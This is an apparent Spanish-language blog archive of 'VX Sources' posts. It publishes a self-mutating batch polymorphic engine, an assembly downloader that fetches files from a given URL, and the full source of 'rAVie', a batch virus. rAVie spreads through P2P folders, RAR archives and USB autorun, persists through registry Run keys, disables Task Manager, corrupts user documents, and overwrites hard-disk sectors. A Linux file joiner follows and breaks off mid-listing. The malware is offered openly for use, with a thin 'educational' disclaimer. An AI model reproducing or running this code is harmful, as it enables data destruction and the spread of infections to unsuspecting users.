Archivo para la VX Sources categoría

Motor polimorfico para scripts batch

Publicado en VX Sources con etiquetas , , , , , , , el Septiembre 12, 2009 por lShadowl
Código:
 ::Polimorphic Engine by lShadowl %ini%
  @set sdjf=fictsoehnd %ini%
  @set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %ini%
  @%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1% %ini%
  @%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %ini%
  @%egnkv%off %ini%
  @%agnvl: =%local enabledelayedexpansion %ini%
%egnkv%Mutando... %ini%
%fsdhf%"ini"<%0>$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%fsdhf%"m%r: =%"<$>nul %ini%
if %errorlevel%==0 goto :tst %ini%
%fsdhf%"m%r: =%"<%0>>$ %ini%
%agnvl%/a rdnmm=%random%*9999999 %ini%
%egnkv%::%rdnmm% %%m%r: =%%%>>$ %ini%
:tst %ini%
%agnvl%a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
%egnkv%%a%|%fsdhf% "o">nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
for %%a in (cmp rnd) do (set a=%%a %ini%
%fsdhf%"m!a: =!"<%0>>$) %ini%
type $>%0&& ping -n 1 localhost>nul %ini%
%egnkv%%agnvl%dfjalds=createobject("scripting.filesystemobject")>asjdhau.vbs %ini%
%egnkv%%agnvl%kdflekj=dfjalds.opentextfile(%0,1)>>asjdhau.vbs %ini%
%egnkv%askdajs = kdflekj.readall>>asjdhau.vbs %ini%
%egnkv%kdflekj.close>>asjdhau.vbs %ini%
%egnkv%Randomize>>asjdhau.vbs %ini%
%egnkv%ahqiaohe = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%jdfasuu = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%dwudhqw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%asdwdkw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%sjdfhjs = Replace(askdajs,"sdjf",ahqiaohe)>>asjdhau.vbs %ini%
%egnkv%lasdaod = Replace(sjdfhjs,"agnvl",jdfasuu)>>asjdhau.vbs %ini%
%egnkv%skdnmxi = Replace(lasdaod,"egnkv",dwudhqw)>>asjdhau.vbs %ini%
%egnkv%sjsabwu = Replace(skdnmxi,"fsdhf",asdwdkw)>>asjdhau.vbs %ini%
%egnkv%%agnvl%skdjawuj=dfjalds.opentextfile(%0,2)>>asjdhau.vbs %ini%
%egnkv%skdjawuj.write sjsabwu>>asjdhau.vbs %ini%
asjdhau.vbs&& exit %ini%
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m5%
:: %m7%
:: %m6%
:: %m1%
:: %m2%
:: %m4%
:: %m9%
:: %m3%
:: %m0%
:: %m8%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:cmp %mcmp%
%fsdhf%"m%1"<$>nul %mcmp%
if %errorlevel%==1 (%agnvl% a=%a%o %mcmp%
goto :EOF)%mcmp%
%agnvl% a=%a%x %mcmp%
goto :EOF %mcmp%
:rnd %mrnd%
%agnvl%/a r=%random%%%10 %mrnd%
goto :EOF %mrnd%

Para ver como funciona os pondre mis variantes del code despues de haberlo ejecutado dos veces:

Código:
 ::Polimorphic Engine by lShadowl %ini%
  @set pkseh=fictsoehnd %ini%
  @set cneso=%pkseh:~4,1%%pkseh:~6,1%%pkseh:~3,1% %ini%
  @%cneso%hfdjc=%pkseh:~6,1%%pkseh:~2,1%%pkseh:~7,1%%pkseh:~5,1% %ini%
  @%cneso%vchff=%pkseh:~0,2%%pkseh:~8,2% %ini%
  @%hfdjc%off %ini%
  @%cneso: =%local enabledelayedexpansion %ini%
%hfdjc%Mutando... %ini%
%vchff%"ini"<%0>$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%vchff%"m%r: =%"<$>nul %ini%
if %errorlevel%==0 goto :tst %ini%
%vchff%"m%r: =%"<%0>>$ %ini%
%cneso%/a rdnmm=%random%*9999999 %ini%
%hfdjc%::%rdnmm% %%m%r: =%%%>>$ %ini%
:tst %ini%
%cneso%a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
%hfdjc%%a%|%vchff% "o">nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
for %%a in (cmp rnd) do (set a=%%a %ini%
%vchff%"m!a: =!"<%0>>$) %ini%
type $>%0&& ping -n 1 localhost>nul %ini%
%hfdjc%%cneso%dfjalds=createobject("scripting.filesystemobject")>asjdhau.vbs %ini%
%hfdjc%%cneso%kdflekj=dfjalds.opentextfile(%0,1)>>asjdhau.vbs %ini%
%hfdjc%askdajs = kdflekj.readall>>asjdhau.vbs %ini%
%hfdjc%kdflekj.close>>asjdhau.vbs %ini%
%hfdjc%Randomize>>asjdhau.vbs %ini%
%hfdjc%ahqiaohe = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%hfdjc%jdfasuu = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%hfdjc%dwudhqw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%hfdjc%asdwdkw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%hfdjc%sjdfhjs = Replace(askdajs,"pkseh",ahqiaohe)>>asjdhau.vbs %ini%
%hfdjc%lasdaod = Replace(sjdfhjs,"cneso",jdfasuu)>>asjdhau.vbs %ini%
%hfdjc%skdnmxi = Replace(lasdaod,"hfdjc",dwudhqw)>>asjdhau.vbs %ini%
%hfdjc%sjsabwu = Replace(skdnmxi,"vchff",asdwdkw)>>asjdhau.vbs %ini%
%hfdjc%%cneso%skdjawuj=dfjalds.opentextfile(%0,2)>>asjdhau.vbs %ini%
%hfdjc%skdjawuj.write sjsabwu>>asjdhau.vbs %ini%
asjdhau.vbs&& exit %ini%
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m5%
::-1313031124 %m5%
:: %m1%
::2020451641 %m1%
:: %m8%
::-1739870728 %m8%
:: %m7%
::-443934897 %m7%
:: %m3%
::-1117740673 %m3%
:: %m2%
::-888192539 %m2%
:: %m0%
::1245290346 %m0%
:: %m6%
::-1909547966 %m6%
:: %m4%
::-1847546953 %m4%
:: %m9%
::191549157 %m9%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:cmp %mcmp%
%vchff%"m%1"<$>nul %mcmp%
if %errorlevel%==1 (%cneso% a=%a%o %mcmp%
goto :EOF)%mcmp%
%cneso% a=%a%x %mcmp%
goto :EOF %mcmp%
:rnd %mrnd%
%cneso%/a r=%random%%%10 %mrnd%
goto :EOF %mrnd%

Código:
 ::Polimorphic Engine by lShadowl %ini%
  @set kjefv=fictsoehnd %ini%
  @set eiotf=%kjefv:~4,1%%kjefv:~6,1%%kjefv:~3,1% %ini%
  @%eiotf%gugip=%kjefv:~6,1%%kjefv:~2,1%%kjefv:~7,1%%kjefv:~5,1% %ini%
  @%eiotf%mgvmh=%kjefv:~0,2%%kjefv:~8,2% %ini%
  @%gugip%off %ini%
  @%eiotf: =%local enabledelayedexpansion %ini%
%gugip%Mutando... %ini%
%mgvmh%"ini"<%0>$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%mgvmh%"m%r: =%"<$>nul %ini%
if %errorlevel%==0 goto :tst %ini%
%mgvmh%"m%r: =%"<%0>>$ %ini%
%eiotf%/a rdnmm=%random%*9999999 %ini%
%gugip%::%rdnmm% %%m%r: =%%%>>$ %ini%
:tst %ini%
%eiotf%a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
%gugip%%a%|%mgvmh% "o">nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
for %%a in (cmp rnd) do (set a=%%a %ini%
%mgvmh%"m!a: =!"<%0>>$) %ini%
type $>%0&& ping -n 1 localhost>nul %ini%
%gugip%%eiotf%dfjalds=createobject("scripting.filesystemobject")>asjdhau.vbs %ini%
%gugip%%eiotf%kdflekj=dfjalds.opentextfile(%0,1)>>asjdhau.vbs %ini%
%gugip%askdajs = kdflekj.readall>>asjdhau.vbs %ini%
%gugip%kdflekj.close>>asjdhau.vbs %ini%
%gugip%Randomize>>asjdhau.vbs %ini%
%gugip%ahqiaohe = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%gugip%jdfasuu = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%gugip%dwudhqw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%gugip%asdwdkw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%gugip%sjdfhjs = Replace(askdajs,"kjefv",ahqiaohe)>>asjdhau.vbs %ini%
%gugip%lasdaod = Replace(sjdfhjs,"eiotf",jdfasuu)>>asjdhau.vbs %ini%
%gugip%skdnmxi = Replace(lasdaod,"gugip",dwudhqw)>>asjdhau.vbs %ini%
%gugip%sjsabwu = Replace(skdnmxi,"mgvmh",asdwdkw)>>asjdhau.vbs %ini%
%gugip%%eiotf%skdjawuj=dfjalds.opentextfile(%0,2)>>asjdhau.vbs %ini%
%gugip%skdjawuj.write sjsabwu>>asjdhau.vbs %ini%
asjdhau.vbs&& exit %ini%
:: CODIGO POLIMORFICO [INICIO] %ini%
:: %m7%
::-443934897 %m7%
::525484065 %m7%
:: %m1%
::2020451641 %m1%
::-2018256975 %m1%
:: %m9%
::191549157 %m9%
::1635032111 %m9%
:: %m2%
::-888192539 %m2%
::1875225734 %m2%
:: %m3%
::-1117740673 %m3%
::1975806665 %m3%
:: %m0%
::1245290346 %m0%
::-39677251 %m0%
:: %m8%
::-1739870728 %m8%
::-568902610 %m8%
:: %m6%
::-1909547966 %m6%
::-1999741604 %m6%
:: %m4%
::-1847546953 %m4%
::1442194522 %m4%
:: %m5%
::-1313031124 %m5%
::-1207869762 %m5%
:: CODIGO POLIMORFICO [FIN] %mcmp%
:cmp %mcmp%
%mgvmh%"m%1"<$>nul %mcmp%
if %errorlevel%==1 (%eiotf% a=%a%o %mcmp%
goto :EOF)%mcmp%
%eiotf% a=%a%x %mcmp%
goto :EOF %mcmp%
:rnd %mrnd%
%eiotf%/a r=%random%%%10 %mrnd%
goto :EOF %mrnd%

Como se puede ver el code demuestra el uso de las tecnicas de:

transpocision de codigo: notese el comportamiento de las lineas de codigo dentro de las lineas “:: CODIGO POLIMORFICO [INICIO] %ini%” y “:: CODIGO POLIMORFICO [FIN] %mcmp%”

incremento de tama?o: despues de cada ejecucion el codigo cambia de tama?o aumentando un numero aleatorio de bytes a?adiendo lineas como: “::-1739870728 %m8% “

variables aleatorias: notese que las cuatro primeras variables que se declaran en:

Código:
   @set sdjf=fictsoehnd %ini%
   @set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %ini%
   @%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1% %ini%
   @%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %ini%

osea, sdjf, agnvl, egnkv y fsdhf, que contienen las cadenas “fictsoehnd” “set” “echo” y “find”, cambian en cada ejecucion del programa por medio de un sencillo script en vbs que se ejecuta al final.

Para los que les gusta codear malware, esto les puede servir de algo.

Saludos!

Downloader por linea de comandos

Publicado en VX Sources el Julio 21, 2009 por lShadowl
;sintaxis:>cld url;destino
format PE GUI 4.0
entry ini

include 'win32a.inc'

ini:
invoke GetCommandLine
mov esi, eax

cmp byte [esi], 34d
je exit

pp:
cmp byte [esi], 32d
je gtp1

inc esi
jmp pp

gtp1:
inc esi
xor ecx, ecx
inc ecx

limp1:
cmp byte [esi], 59d
je ptp1
inc esi
inc ecx
jmp limp1

ptp1:
inc esi
push esi
sub esi, ecx
invoke lstrcpyn,p1,esi,ecx
cmp eax, 0
je exit

gtp2:
pop esi
xor ecx, ecx
inc ecx

limp2:
cmp byte [esi], 59d
je ptp2
inc esi
inc ecx
jmp limp2

ptp2:
inc esi
push esi
sub esi, ecx
invoke lstrcpyn,p2,esi,ecx
cmp eax, 0
je exit

invoke URLDownloadToFile,0,p1,p2,0,0

cmp eax, 0
jne exit

exit:
invoke ExitProcess, 0

ret
p1	 rb 150d
p2	 rb 100d

data import
library kernel32, "KERNEL32.DLL",\
urlmon, "URLMON.DLL"

import kernel32,\
GetCommandLine, "GetCommandLineA",\
lstrcpyn, "lstrcpynA",\
lstrlen, "lstrlenA",\
ExitProcess, "ExitProcess"

import urlmon,\
URLDownloadToFile, "URLDownloadToFileA"

end data

Saludos!

rAVie.c

Publicado en VX Sources el Julio 21, 2009 por lShadowl
:: Nombre: rAVie.c %main%
:: Autor: Shadow; tshadow; The Shadow %main%
:: Fecha: 30/02/09 %main%
:: Propagacion: Si [P2P+rar-persistente c/4m; Usb-persistente c/4m] %main%
:: Payload: Si [-corrupcion de archivos con extension: jpg, jpeg, doc, xls, pwl, pdf, dot y ppt %main%
::                     -bucle de beeps %main%
::                     -eliminacion completa de datos de HD0 y HD1]–aleatorio %main%
:: Encriptacion/codificacion: No %main%
:: Polimorfismo: Si [Bait tecnique (rango de incremento=10-120 bytes); Transposicion] %main%
:: Anti-deleccion: Si [de registro y de fichero madre] %main%
:: SO objetivo: W32 NT 4+ (versiones en espa?ol para propagacion p2p completa) %main%
:: Codificacion: batch, vbs y asm 16b %main%
:: %main%
:: Aclaracion: El presente fichero .bat fue creado solo para propositos educativos. El uso de la informacion contenida %main%
:: en el presente documento puede causar perdida de datos y/o mal funcionamiento de hardware. %main%
:: La responsabilidad de el mal uso de la informacion contenida aqui NO cae sobre el autor o ninguna organizacion %main%
:: relacionada a el. %main%
@echo off %main%
set mys=%systemdrive%\rAVie.bat %main%
set mys2=%systemdrive%\tmp.tmp %main%
goto :_%1 %main%
:_ %main%
if not exist %mys% ( @copy /y %0 %mys%&&          @copy /y %0 %mys2%) %main%
call :_hdn mute %main%
exit %main%
:_mute %main%
find "main"<%mys2%>%mys% %main%
:rnd_b %main%
call :rnd %main%
:buc %main%
find "m%rmon: =%"<%mys%>nul %main%
if %errorlevel%==0 goto :tst %main%
find "m%rmon: =%"<%mys2%>>%mys% %main%
set /a rdnmm=%random%*9999999 %main%
echo ::%rdnmm% %%m%rmon: =%%%>>%mys% %main%
:tst %main%
set cnnt=1 %main%
for /L %%a in (0,1,9) do call :cmp %%a %main%
echo %cnnt%|find "o">nul %main%
if %errorlevel%==0 goto :rnd_b %main%
@copy /y %mys% %mys2% %main%
call :_hdn perp %main%
call :_hdn flach %main%
call :_hdn regis %main%
call :_hdn AD %main%
call :_hdn paypaypay %main%
call :_hdn usve %main%
exit %main%
:cmp %main%
find "m%1"<%mys%>nul %main%
if %errorlevel%==1 ( %main%
set cnnt=%cnnt%o %main%
goto :EOF %main%
set cnnt=%cnnt%x %main%
goto :EOF %main%
) %main%
:rnd %main%
set rmon=%random:~1,1% %main%
goto :EOF %main%
:_usve %m6%
ping -n 320 localhost >nul %m6%
call :_hdn perp %m6%
call :_hdn flach %m6%
goto :_usve %m6%
::-368450787 %m6% 
:_AD %m5%
echo Set fos = createobject("scripting.filesystemobject")>%systemdrive%\AD.vbs %m5%
echo Set cmd = createobject("wscript.shell")>>%systemdrive%\AD.vbs %m5%
echo Set hiel= fos.opentextfile("%systemdrive%\tmp.tmp")>>%systemdrive%\AD.vbs %m5%
echo mei = "%systemdrive%\rAVie.bat">>%systemdrive%\AD.vbs %m5%
echo io = hiel.readall>>%systemdrive%\AD.vbs %m5%
echo Do>>%systemdrive%\AD.vbs %m5%
echo if not(fos.fileexists("%systemdrive%\rAVie.bat")) then>>%systemdrive%\AD.vbs %m5%
echo set hie= fos.createtextfile("%systemdrive%\rAVie.bat")>>%systemdrive%\AD.vbs %m5%
echo hie.write io>>%systemdrive%\AD.vbs %m5%
echo hie.close>>%systemdrive%\AD.vbs %m5%
echo end if>>%systemdrive%\AD.vbs %m5%
echo cmd.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\tmp", "%mys%">>%systemdrive%\AD.vbs %m5%
echo loop>>%systemdrive%\AD.vbs %m5%
start %systemdrive%\AD.vbs&& goto :eof %m5%
::-1938644277 %m5% 
:_flach %m4%
set rdnn=%random% %m4%
for %%c in (B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (call :fello %%c) %m4%
exit %m4%
:fello %m4%
if exist %1: (%1:&& attrib *.* -h -r -s -a&& copy /y %mys% %rdnn: =%.bat %m4%
( echo [AUTORUN] %m4%
echo UseAutoPlay=1 %m4%
echo Open=cmd /c explorer^& %rdnn: =%.bat %m4%
echo shell\open\Command=cmd /c explorer^& %rdnn: =%.bat)>autorun.inf %m4%
attrib *.bat +h +r +s&& attrib autorun.inf +h +r +s) %m4%
goto:eof %m4%
::207291469 %m4% 
:: %m9%
::570129041 %m9% 
:: %m7%
::450903641 %m7% 
:_rgis %m8%
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\tmp" /V "RunDll23" /d "%mys%" /f %m8%
reg add "hkcu\software\microsoft\windows\currentversion\policies\system" /v disabletaskmgr /t reg_dword /d "1" /f %m8%
reg add "hkcu\software\microsoft\windows\currentversion\policies\system" /v disableregistrytools /t reg_dword /d "1" /f %m8%
exit %m8%
::1050516287 %m8% 
:_perp %m1%
del /q %windir%\t.rar,yer.t,jer.t %m1%
cd "%systemdrive%%~p0" %m1%
for %%v in ("eMule\Incoming\" "Shareaza\Downloads\" "BearShare\Shared\" "LimeWire\Shared\") do echo %%v>>yer.t %m1%
set rc=1&& set r="%programfiles%\WINRAR\WinRAR.exe" %m1%
%r% a %windir%\t.rar %mys: =% %m1%
if not %errorlevel%==9009 set rc=0 %m1%
goto fr %m1%
:fr2 %m1%
set uno=%1 %m1%
for %%g in (Path_msn_Emoticonos sms_gratis MSN_hack_codes Windows_Vista_activation_tool) do (copy /y %mys: =% %%g.bat %m1%
if %rc%==0 (ping -n 2 localhost>nul %m1%
%r% a %%g.rar %%g.bat)) %m1%
goto :EOF                                                   %m1%
:fr %m1%
for /F "tokens=* delims=" %%a in (yer.t) do (if exist "%programfiles%\%%a" (cd "%programfiles%\%%a"    %m1%
for %%e in (*.rar) do ( @copy /y %mys: =% "%%~ne.bat" %m1%
ping -n 2 localhost > nul %m1%
%r% a "%%e" "%%~ne.bat") %m1%
call :fr2 %%a)) %m1%
:arespg %m1%
set ardir="%userprofile%\Configuraci¢n local\Datos de programa\Ares\My Shared Folder\" %m1%
if exist %ardir% (cd %ardir% %m1%
for %%e in (*.rar) do (copy /y %mys: =% "%%~ne.bat" %m1%
ping -n 2 localhost > nul %m1%
%r% a "%%e" "%%~ne.bat") %m1%
call :fr2 %%a) %m1%
exit %m1%
::1356710413 %m1% 
:_paypaypay %m2%
call :_hdn usve %m2%
set /a r=%random:~2,1%%2&& goto __%r% %m2%
:__ %m2%
:__0 %m2%
%systemdrive% %m2%
cd %systemdrive%\ %m2%
call :dsttr jpg&& call :dsttr jpeg %m2%
call :dsttr doc&& call :dsttr xls %m2%
call :dsttr pwl&& call :dsttr pdf %m2%
call :dsttr dot&& call :dsttr ppt %m2%
exit %m2%
:dsttr %m2%
dir /s /b|find ".%1">%1.t %m2%
for /f "tokens=* delims=" %%a in (%1.t) do ( %m2%
echo MsgBox "%%a has been corrupted by rAVie", vbCritical, "Corrupted File Warning">hy.vbs&& start hy %m2%
echo Corrupted file by rAVie>"%%a") %m2%
goto :eof %m2%
:__1 %m2%
(echo a&& echo mov ax,0E07&& echo int 10h&& echo.&& echo g)>t %m2%
set n=26&& for /l %%a in (1,1,25) do (call :gbbp) %m2%
exit %m2%
:gbbp %m2%
ping -n %n% localhost>nul %m2%
debug<t>nul&& set /a (n-=1)%%8 %m2%
goto:eof %m2%
:__2 %m2%
for %%a in (80 81) (call :fut %%a&& debug<fut%%a.t>nul) %m2%
goto:eof %m2%
:fut %m2%
(echo f 200 L1000 0 %m2%
echo a cs:100 %m2%
echo mov ax,301 %m2%
echo bx,200 %m2%
echo mov cx,1 %m2%
echo mov dx,%1 %m2%
echo int 13 %m2%
echo int 20 %m2%
echo. %m2%
echo g)>fut%1.t %m2%
goto:eof %m2%
::-1558321570 %m2% 
:_hdn %m0%
echo set cmd=CREATEOBJECT("WSCRIPT.SHELL")>evi_%1.vbs %m0%
echo cmd.run "cmd /c %mys%%1", vbhide>>evi_%1.vbs&& start evi_%1.vbs&& goto :eof %m0%
::1996000310 %m0% 
: Nombre: rAVie.c %main% :: Autor: Shadow; tshadow; The Shadow %main% :: Fecha: 30/02/09 %main% :: Propagacion: Si [P2P+rar-persistente c/4m; Usb-persistente c/4m] %main% :: Payload: Si [-corrupcion de archivos con extension: jpg, jpeg, doc, xls, pwl, pdf, dot y ppt %main% ::                     -bucle de beeps %main% ::                     -eliminacion completa de datos de HD0 y HD1]--aleatorio %main% :: Encriptacion/codificacion: No %main% :: Polimorfismo: Si [Bait tecnique (rango de incremento=10-120 bytes); Transposicion] %main% :: Anti-deleccion: Si [de registro y de fichero madre] %main% :: SO objetivo: W32 NT 4+ (versiones en espa?ol para propagacion p2p completa) %main% :: Codificacion: batch, vbs y asm 16b %main% :: %main% :: Aclaracion: El presente fichero .bat fue creado solo para propositos educativos. El uso de la informacion contenida %main% :: en el presente documento puede causar perdida de datos y/o mal funcionamiento de hardware. %main% :: La responsabilidad de el mal uso de la informacion contenida aqui NO cae sobre el autor o ninguna organizacion %main% :: relacionada a el. %main%

DOShex 1.1 [WIN]

Publicado en VX Sources con etiquetas el Septiembre 24, 2008 por ni0ssw

Hola, bueno, despues de menos de un mes, saco la segunda vercion… resulta que tenia errores y de paso le agrege la funcion Goto (leer readme para mas info)

la vercion anterior aca:
http://sswteam.wordpress.com/2008/09/03/doshex-win/

y esta es la nueva:
http://www.badongo.com/file/11469535

salu2!

Una especie de joiner en C para Linux

Publicado en VX Sources con etiquetas , , el Agosto 10, 2008 por ni0ssw

bueno, lo hice para linux Lengua
el codigo y los archivos binarios estan aca:
http://www.badongo.com/file/10771735

el codigo tiene muchos comentarios, creo que no hace falta aclarar mucho, solo unas cosas
es por consola, nada de lindas ventanitas, se le pasnas los archivos por argumentos
tiene que estar copilado el unjoiner.c con el nombre “unjoiner” (sin extencion ni nada)

y el formato del archivo “salida” (que se va a llamar “out”) es asi:

[

unjoiner

]
***
[4bytes pra tamaño del proximo archivo]
[nombre del archivo terminado en un caracter 0]
[archivo]
[4bytes pra tamaño del proximo archivo]
[nombre del archivo terminado en un caracter 0]
[archivo]
[4bytes pra tamaño del proximo archivo]
[nombre del archivo terminado en un caracter 0]
[archivo]

[... osea, eso repetido dependiendo de los archivos xD]
[4bytes para el tamaño de todos los archivos agregados, osea, el tamaño desde los *** hasta el ultimo byte del ultimo archivo]
[1byte para indicar si se ejecuta el archivo nº 1 pasado en los argumentos, 0 para que no y 1 para que si]

ahora los codigos

joiner:

Código
/*joiner 01 julio 2008
by Ni0
ni0@el-hacker.org*/
/*
   This program is free software: you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation, either version 3 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program.  If not, see .
*/

/*a este codigo le falta el unjoiner, se compilan por separado pero se necesitan los 2 ejecutables, y tienen que estar en la misma carpeta

el unjoiner tiene que estar con el nombre "unjoiner" SI o Si (exepto que cambien este codigo xD)*/

#include stdio.h /*ponganle los simbolos de mayor y menor...
o sino descargan el archivo y listo xD*/
#include string.h
#include sys/stat.h
#include unistd.h

void usage(char *argv)/* te indica como se usa el programa*/
{
 printf("\n\tERROR:Mal Argumentos\n%s [-n] archivo1 archivo2 archivo3 ...\n\nel programa agrega los archivos especificados como argumento en el archivo \"unjoiner\"(que es una copia de program, NO ELIMINAR NI CAMBIAR DE NOMBRE) del cual despues de usar el joiner va a salir un archivo \"out\" al cual SI se le puede cambiar el nombre, al ejecutar el arhivo \"out\" (o el nuevo nombre que le hayan puesto) va a extraer los archivos y va a ejecutar el \"archivo1\", exepto que se use el argumento -n que le indica que no ejecute nada\nlos archivos van a ser extraidos en la misma carpeta que indica el agumento, por lo que si se quiere que se extraigan en la misma carpeta que program, los archivos tienen que estar en la misma carpeta que joiner, ejemplos:\n\njoiner juego imagen.bmp sonido/misonido.mp3\n este va a poner los archivos indicados en \"out\" y este los va a extraer imagen.bmp en la misma carpeta, exepto misonido.mp3 que va a crear la carpeta sonido/ y ahi dentro pondra misonido.mp3\n", argv);
}

int main(int argc, char **argv)
{
 FILE *f, *j;/*los archivos, f para el archivo indicado para unir y en j el programa que va a resultar de unir todo*/
 int arg;/*que argumento estamos trabajando*/
 unsigned long size = 0, sizef = 0;/*size para el tamaño TOTAL y en sizef el tamaño del archivo que estamos uniendo*/
 unsigned char c;
 if(argc == 1 || (argv[1][0] == '-' && (argv[1][1] != 'n' || argv[1][2] != 0))){/* si estan mal puestos los argumentos...*/
  usage(argv[0]);
  return 1;
 }
 f = fopen("unjoiner", "rb");
 if(f == NULL){
  printf("\n\tERROR: no se encuentra el archivo program\nno se encontro el archivo program, re compilelo con el nombre \"unjoiner\" .\n");
  return 1;
 }
 j = fopen("out", "wb");
 if(j == NULL){
  printf("\n\tERROR: no se pudo abrir el archivo \"out\" como escritura\nasegurese que tiene permiso para abrir ese archivo o que no esta siendo utilizado por otro programa\n");
  return 1;
 }
 arg = fgetc(f);/*uso arg simplente para no declarar otra variable*/
 while(!feof(f)){
  fputc(arg, j);/*copiamos todo el unjoiner de unjoiner a out*/
  arg = fgetc(f);
 }
 fclose(f);
 arg = 1;
 if(argv[1][0] == '-')/*esto significa que se puso -n tonces se lo saltea*/
  arg++;
 while(arg != argc){
  if((f = fopen(argv[arg], "rb")) == NULL){/*si no pudo abrir el argumento...*/
   printf("\n\tERROR:archivo no encontrado\nel archivo \"%s\" no existe (argumento numero %d)\n", argv[arg], arg);
   return 1;
  }
  while(!feof(f)){/*calcula el tamaño*/
   fgetc(f);
   sizef++;
   size++;
   if(size == 0xFFFFFFFF){/*sino habria overflow xD y en el out quedaria cualquier cosa*/
    printf("\n\tERROR: los archivos superan los %d bytes\n", 0xFFFFFFFF);
    return 1;
   }
  }
  sizef--;/*se lee un caracter de mas, el caracter EOF, por eso tengo que restarle 1*/
  size--;
  if(strlen(argv[arg]) > 300){
   printf("\n\tERROR:el nombre del archivo %s tiene mas de 300 caracteres\n", argv[arg]);
   return 1;
  }
  size += strlen(argv[arg]) + 5;/*al tamaño le tiene que sumar el nombre, un caracter 0 y 4 bytes para indicar el tamaño del archivo*/
  fclose(f);
  fputc((unsigned char)sizef, j);/*escribimos el tamaño del archivo, pero de a bytes*/
  fputc((unsigned char)(sizef / 0x100), j);
  fputc((unsigned char)(sizef / 0x10000), j);
  fputc((unsigned char)(sizef / 0x1000000), j);
  fprintf(j, "%s", argv[arg]);/*ponemos el nombre del archivo*/
  fputc('', j);/*el caracter 0*/
  /*lo que va a hacer el unjoiner es leer el tamaño del archivo, despues leer hasta encontrar el caracter 0 y despues leer la cantidad de bytes que dice el tamaño del archivo*/
  f = fopen(argv[arg], "rb");
  while(!feof(f)){/*y copiamos el archivo a out*/
   c = fgetc(f);
   if(c == 0xFF)
    fputc(0, j);
   else
    fputc(c + 1, j);
  }
  fclose(f);
  sizef = 0;
  arg++;/*pasamos al siguiente argumento*/
  fseek(j, -1, SEEK_CUR);/*como se lee un caracter de mas, tengo que volver para atras*/
 }
 /*ponemos el tamaño de TODOS los archivos, de sus nombres y de su tamaño*/
 fputc((unsigned char)size, j);
 fputc((unsigned char)(size / 0x100), j);
 fputc((unsigned char)(size / 0x10000), j);
 fputc((unsigned char)(size / 0x1000000), j);
 if(argv[1][0] == '-')/*y ponemos 0 si no hay que ejecutar el primer argumento, o sino 1*/
  fputc((char)0x00, j);
 else
